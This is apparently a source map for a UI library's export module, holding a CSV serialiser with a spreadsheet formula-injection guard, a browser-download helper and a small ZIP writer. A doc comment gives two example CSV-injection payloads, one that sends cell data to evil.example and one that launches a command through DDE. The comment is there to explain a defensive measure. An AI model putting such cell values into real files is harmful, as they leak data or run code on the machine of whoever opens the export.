{"version":3,"file":"styloviz-core-export.mjs","names":[],"sources":["../../../../projects/core/export/csv.ts","../../../../projects/core/export/zip.ts"],"sourcesContent":["/**\n * CSV serialisation and the browser-download step.\n *\n * Both used to exist four times over — `data-table` (Pro), `data-table-free`,\n * `gantt` and the admin template each rolled their own, and they had already\n * drifted on quoting and filenames. Export lives here so a fix lands once.\n *\n * CSV stays in the free tier deliberately: it costs nothing to ship, and a\n * paywall on comma-separated text would read as petty. Styled Excel and PDF\n * are the Pro surface — see `@styloviz-pro/export`.\n */\n\nexport interface SvCsvOptions {\n  /**\n   * Neutralise cells a spreadsheet would read as a formula. @default true\n   *\n   * ★★★ CSV IS CODE ONCE EXCEL OPENS IT. A text cell beginning with `=`, `+`,\n   *     `-`, `@`, a tab or a carriage return is evaluated as a formula — so a\n   *     customer named `=HYPERLINK(\"https://evil.example/?d=\"&A2,\"Click\")`, or a\n   *     task titled `=cmd|' /C calc'!A0`, runs on the machine of whoever opens\n   *     the export. The data came from one user; the formula runs for another\n   *     (OWASP \"CSV Injection\"). The guard prefixes such a cell with `'`, which\n   *     Excel, Sheets and LibreOffice all display as the literal text.\n   *\n   * Numbers are never touched (`-12.5` stays a number), and neither is a STRING\n   * that is a plain number (`\"-12.5\"`, `\"+44\"`) — those cannot be formulae, and\n   * prefixing them would turn a numeric column into text. Turn the guard off\n   * only for a file that is not meant for a spreadsheet.\n   */\n  readonly formulaGuard?: boolean;\n}\n\n/** A cell a spreadsheet would treat as a formula. */\nconst FORMULA_START = /^[=+\\-@\\t\\r]/;\n/** …unless the whole cell is just a number, which no spreadsheet evaluates. */\nconst PLAIN_NUMBER = /^[+-]?(\\d+([.,]\\d+)*|\\.\\d+)([eE][+-]?\\d+)?%?$/;\n\n/** `'` in front of a string cell that would otherwise run as a formula. */\nexport function svCsvFormulaSafe(value: string): string {\n  return FORMULA_START.test(value) && !PLAIN_NUMBER.test(value) ? `'${value}` : value;\n}\n\n/**\n * Quotes a single cell when it contains a comma, quote, or newline, doubling\n * any embedded quote (RFC 4180). `null` / `undefined` become empty. String\n * cells pass through {@link svCsvFormulaSafe} first unless the guard is off.\n */\nfunction csvCell(value: string | number | null | undefined, guard: boolean): string {\n  let s = value == null ? '' : String(value);\n  if (guard && typeof value === 'string') s = svCsvFormulaSafe(s);\n  return /[\",\\n\\r]/.test(s) ? `\"${s.replace(/\"/g, '\"\"')}\"` : s;\n}\n\n/**\n * Builds CSV text from a header row and data rows.\n *\n * CRLF line endings, because Excel on Windows still treats a bare LF as one\n * long line in some locales.\n *\n * @example\n * ```ts\n * const csv = svToCsv(['Product', 'Revenue'], [['Aurora Lamp', 1299.5]]);\n * ```\n */\nexport function svToCsv(\n  headers: readonly string[],\n  rows: readonly (readonly (string | number | null | undefined)[])[],\n  options: SvCsvOptions = {},\n): string {\n  const guard = options.formulaGuard ?? true;\n  const line = (cells: readonly (string | number | null | undefined)[]): string =>\n    cells.map((c) => csvCell(c, guard)).join(',');\n  return [line(headers), ...rows.map(line)].join('\\r\\n');\n}\n\n/**\n * Triggers a browser download of a Blob. Temporary object URL + anchor click —\n * no server round-trip, no dependency.\n *\n * Pass the `Document` rather than reaching for a global so the helper stays\n * SSR-safe and testable; it no-ops when the document has no window.\n */\nexport function svDownloadBlob(doc: Document, filename: string, blob: Blob): void {\n  const view = doc.defaultView;\n  if (!view) return;\n  const url = view.URL.createObjectURL(blob);\n  const anchor = doc.createElement('a');\n  anchor.href = url;\n  anchor.download = filename;\n  doc.body.appendChild(anchor);\n  anchor.click();\n  doc.body.removeChild(anchor);\n  view.URL.revokeObjectURL(url);\n}\n\n/** Convenience wrapper: serialise text and download it in one call. */\nexport function svDownloadText(\n  doc: Document,\n  filename: string,\n  content: string,\n  mime = 'text/csv;charset=utf-8',\n): void {\n  svDownloadBlob(doc, filename, new Blob([content], { type: mime }));\n}\n","/**\n * Minimal, dependency-free ZIP writer.\n *\n * Produces a valid `.zip` Blob using the STORE method (no compression), which\n * is enough for shipping a small bundle of text files entirely client-side —\n * no backend, no external library, no network call. Every standard archive\n * tool (Explorer, Finder, `unzip`) opens the result.\n *\n * Only text entries are supported (encoded as UTF-8), which is all the demo\n * template download needs.\n */\n\n/** A single file to place inside the archive. */\nexport interface ZipEntry {\n  /** Path within the archive, e.g. `README.md` or `docs/SETUP.md`. */\n  readonly name: string;\n  /** UTF-8 text content of the file. */\n  readonly content: string;\n}\n\n/** Precomputed CRC-32 lookup table (IEEE polynomial). */\nconst CRC_TABLE: Uint32Array = (() => {\n  const table = new Uint32Array(256);\n  for (let n = 0; n < 256; n++) {\n    let c = n;\n    for (let k = 0; k < 8; k++) {\n      c = (c & 1) !== 0 ? 0xedb88320 ^ (c >>> 1) : c >>> 1;\n    }\n    table[n] = c >>> 0;\n  }\n  return table;\n})();\n\nfunction crc32(bytes: Uint8Array): number {\n  let crc = 0xffffffff;\n  for (const byte of bytes) {\n    crc = CRC_TABLE[(crc ^ byte) & 0xff] ^ (crc >>> 8);\n  }\n  return (crc ^ 0xffffffff) >>> 0;\n}\n\n/** Packs a JS Date into DOS date/time words used by the ZIP format. */\nfunction dosDateTime(d: Date): { readonly date: number; readonly time: number } {\n  const year = Math.max(1980, d.getFullYear());\n  const date = (((year - 1980) & 0x7f) << 9) | ((d.getMonth() + 1) << 5) | d.getDate();\n  const time = (d.getHours() << 11) | (d.getMinutes() << 5) | (d.getSeconds() >> 1);\n  return { date: date & 0xffff, time: time & 0xffff };\n}\n\n/**\n * Builds a `.zip` archive from the given text entries and returns it as a Blob\n * ready to be handed to an object URL for download.\n */\nexport function createZipBlob(entries: readonly ZipEntry[]): Blob {\n  const encoder = new TextEncoder();\n  const localChunks: Uint8Array[] = [];\n  const centralChunks: Uint8Array[] = [];\n  const { date, time } = dosDateTime(new Date());\n\n  let offset = 0;\n\n  for (const entry of entries) {\n    const nameBytes = encoder.encode(entry.name);\n    const data = encoder.encode(entry.content);\n    const crc = crc32(data);\n    const size = data.length;\n\n    // ── Local file header (30 bytes + name) ──\n    const local = new Uint8Array(30 + nameBytes.length);\n    const lv = new DataView(local.buffer);\n    lv.setUint32(0, 0x04034b50, true); // signature\n    lv.setUint16(4, 20, true); // version needed to extract\n    lv.setUint16(6, 0, true); // general purpose flags\n    lv.setUint16(8, 0, true); // compression method: 0 = store\n    lv.setUint16(10, time, true);\n    lv.setUint16(12, date, true);\n    lv.setUint32(14, crc, true);\n    lv.setUint32(18, size, true); // compressed size\n    lv.setUint32(22, size, true); // uncompressed size\n    lv.setUint16(26, nameBytes.length, true);\n    lv.setUint16(28, 0, true); // extra field length\n    local.set(nameBytes, 30);\n    localChunks.push(local, data);\n\n    // ── Central directory record (46 bytes + name) ──\n    const central = new Uint8Array(46 + nameBytes.length);\n    const cv = new DataView(central.buffer);\n    cv.setUint32(0, 0x02014b50, true); // signature\n    cv.setUint16(4, 20, true); // version made by\n    cv.setUint16(6, 20, true); // version needed\n    cv.setUint16(8, 0, true); // flags\n    cv.setUint16(10, 0, true); // method\n    cv.setUint16(12, time, true);\n    cv.setUint16(14, date, true);\n    cv.setUint32(16, crc, true);\n    cv.setUint32(20, size, true);\n    cv.setUint32(24, size, true);\n    cv.setUint16(28, nameBytes.length, true);\n    cv.setUint16(30, 0, true); // extra length\n    cv.setUint16(32, 0, true); // comment length\n    cv.setUint16(34, 0, true); // disk number start\n    cv.setUint16(36, 0, true); // internal attributes\n    cv.setUint32(38, 0, true); // external attributes\n    cv.setUint32(42, offset, true); // relative offset of local header\n    central.set(nameBytes, 46);\n    centralChunks.push(central);\n\n    offset += local.length + data.length;\n  }\n\n  const centralSize = centralChunks.reduce((n, c) => n + c.length, 0);\n  const centralOffset = offset;\n\n  // ── End of central directory record (22 bytes) ──\n  const end = new Uint8Array(22);\n  const ev = new DataView(end.buffer);\n  ev.setUint32(0, 0x06054b50, true); // signature\n  ev.setUint16(4, 0, true); // disk number\n  ev.setUint16(6, 0, true); // disk with central dir\n  ev.setUint16(8, entries.length, true); // entries on this disk\n  ev.setUint16(10, entries.length, true); // total entries\n  ev.setUint32(12, centralSize, true);\n  ev.setUint32(16, centralOffset, true);\n  ev.setUint16(20, 0, true); // comment length\n\n  // Concatenate everything into a single ArrayBuffer-backed array so it is a\n  // valid, strictly-typed `BlobPart`.\n  const parts: Uint8Array[] = [...localChunks, ...centralChunks, end];\n  const total = parts.reduce((n, p) => n + p.length, 0);\n  const out = new Uint8Array(total);\n  let pos = 0;\n  for (const part of parts) {\n    out.set(part, pos);\n    pos += part.length;\n  }\n\n  return new Blob([out], { type: 'application/zip' });\n}\n"],"mappings":"AAiCA,MAAM,gBAAgB;AAEtB,MAAM,eAAe;AAGrB,SAAgB,iBAAiB,OAAa;CAC5C,OAAO,cAAc,KAAK,KAAK,KAAK,CAAC,aAAa,KAAK,KAAK,IAAI,IAAI,UAAU;AAChF;AAOA,SAAS,QAAQ,OAA2C,OAAc;CACxE,IAAI,IAAI,SAAS,OAAO,KAAK,OAAO,KAAK;CACzC,IAAI,SAAS,OAAO,UAAU,UAAU,IAAI,iBAAiB,CAAC;CAC9D,OAAO,WAAW,KAAK,CAAC,IAAI,IAAI,EAAE,QAAQ,MAAM,MAAI,EAAC,KAAM;AAC7D;AAaA,SAAgB,QACd,SACA,MACA,UAAwB,CAAA,GAAE;CAE1B,MAAM,QAAQ,QAAQ,gBAAgB;CACtC,MAAM,QAAQ,UACZ,MAAM,KAAK,MAAM,QAAQ,GAAG,KAAK,CAAC,CAAC,CAAC,KAAK,GAAG;CAC9C,OAAO,CAAC,KAAK,OAAO,GAAG,GAAG,KAAK,IAAI,IAAI,CAAC,CAAC,CAAC,KAAK,MAAM;AACvD;AASA,SAAgB,eAAe,KAAe,UAAkB,MAAU;CACxE,MAAM,OAAO,IAAI;CACjB,IAAI,CAAC,MAAM;CACX,MAAM,MAAM,KAAK,IAAI,gBAAgB,IAAI;CACzC,MAAM,SAAS,IAAI,cAAc,GAAG;CACpC,OAAO,OAAO;CACd,OAAO,WAAW;CAClB,IAAI,KAAK,YAAY,MAAM;CAC3B,OAAO,MAAK;CACZ,IAAI,KAAK,YAAY,MAAM;C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